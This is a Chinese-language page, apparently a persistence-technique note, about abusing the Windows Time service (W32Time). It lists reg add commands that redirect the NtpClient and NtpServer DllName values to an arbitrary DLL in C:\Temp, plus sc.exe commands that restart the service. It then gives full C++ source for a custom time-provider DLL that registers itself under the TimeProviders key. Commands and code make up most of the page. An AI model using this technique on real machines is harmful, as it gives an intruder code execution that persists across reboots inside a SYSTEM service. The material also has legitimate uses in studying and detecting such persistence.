W32Time
Windows启动期间将启动服务W32Time并加载w32time.dll。
可以通过修改如下两个注册表地址实现加载dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Temp\qwqdanchun.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /v DllName /t REG_SZ /d "C:\Temp\qwqdanchun.dll" /f
sc.exe stop w32time
sc.exe start w32time
Scott Lundgren使用c++开发了gametime时间提供程序。可以使用此DLL来向操作系统注册新的时间提供者。这样可以避免滥用现有的Windows时间提供程序,
C++:
#include <Windows.h>
#include <TimeProv.h>
#include <strsafe.h>
#define GAMETIME_SVC_KEY_NAME L"System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\GameTime"
static WCHAR g_wzModule[MAX_PATH] = { L'\0' };
BOOL WINAPI DllMain(
_In_ HINSTANCE hInstDll,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
UNREFERENCED_PARAMETER(hInstDll);
UNREFERENCED_PARAMETER(lpvReserved);
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
(void)GetModuleFileNameW(hInstDll, g_wzModule, MAX_PATH);
break;
}
return (TRUE);
}
void WINAPI OutputError(
_In_ PWCHAR pwzMessage,
_In_ DWORD dwError
)
{
WCHAR wzError[1024] = { L'\0' };
if (SUCCEEDED(StringCchPrintfW(wzError, 1024, L"ERROR: [0x%0.8x] [%d] %s", dwError, dwError, pwzMessage)))
{
OutputDebugStringW(wzError);
}
}
/*
*
*/
HRESULT __stdcall TimeProvOpen(
_In_ WCHAR *wszName,
_In_ TimeProvSysCallbacks *pSysCallbacks,
_Out_ TimeProvHandle *phTimeProv
)
{
UNREFERENCED_PARAMETER(pSysCallbacks);
UNREFERENCED_PARAMETER(phTimeProv);
OutputDebugStringW(wszName);
return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}
/*
*
*/
HRESULT __stdcall TimeProvCommand(
_In_ TimeProvHandle hTimeProv,
_In_ TimeProvCmd eCmd,
_In_ PVOID pvArgs
)
{
UNREFERENCED_PARAMETER(hTimeProv);
UNREFERENCED_PARAMETER(eCmd);
UNREFERENCED_PARAMETER(pvArgs);
return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}
/*
*
*/
HRESULT __stdcall TimeProvClose(
_In_ TimeProvHandle hTimeProv
)
{
UNREFERENCED_PARAMETER(hTimeProv);
return (S_OK);
}
/*
* Register
*
* This is an exported helper function to register the GameTime time provider
*
* This is not transacted; failures may leave the registry in an inconsistent state
*
*/
void CALLBACK Register(
_In_ HWND hWnd,
_In_ HINSTANCE hInst,
_In_ LPSTR pwzCmdLine,
_In_ int nCmdShow)
{
HKEY hkTimeProvider = NULL;
LONG nRet;
DWORD dwOne = 1;
UNREFERENCED_PARAMETER(hWnd);
UNREFERENCED_PARAMETER(hInst);
UNREFERENCED_PARAMETER(pwzCmdLine);
UNREFERENCED_PARAMETER(nCmdShow);
OutputDebugStringW(L"Register\n");
/*
* Time providers manually register with the Win32 Time Service
* See https://msdn.microsoft.com/en-us/library/windows/desktop/ms724869(v=vs.85).aspx
*
* Begin by creating the key for the provider
*/
nRet = RegCreateKeyExW(HKEY_LOCAL_MACHINE,
GAMETIME_SVC_KEY_NAME,
0,
NULL,
0,
KEY_ALL_ACCESS,
NULL,
&hkTimeProvider,
NULL);
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
/*
* Populate the three required time provider configuration values
* The three required values are: DllName, Enabled, InputProvider
*/
nRet = RegSetValueExW(hkTimeProvider,
L"DllName",
0,
REG_SZ,
(LPBYTE)g_wzModule,
(DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR));
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
nRet = RegSetValueExW(hkTimeProvider,
L"Enabled",
0,
REG_DWORD,
(LPBYTE)&dwOne,
sizeof(dwOne));
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
nRet = RegSetValueExW(hkTimeProvider,
L"InputProvider",
0,
REG_DWORD,
(LPBYTE)&dwOne,
sizeof(dwOne));
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
ErrorExit:
if (NULL != hkTimeProvider)
{
(void)RegCloseKey(hkTimeProvider);
}
return;
}
void CALLBACK Deregister(
_In_ HWND hWnd,
_In_ HINSTANCE hInst,
_In_ LPSTR pwzCmdLine,
_In_ int nCmdShow)
{
long nRet;
UNREFERENCED_PARAMETER(hWnd);
UNREFERENCED_PARAMETER(hInst);
UNREFERENCED_PARAMETER(pwzCmdLine);
UNREFERENCED_PARAMETER(nCmdShow);
OutputDebugStringW(L"Unregister\n");
nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME);
if (ERROR_SUCCESS != nRet)
{
OutputError(L"RegDeleteKeyW failed!", nRet);
goto ErrorExit;
}
ErrorExit:
return;
}
参考文章:
最后更新于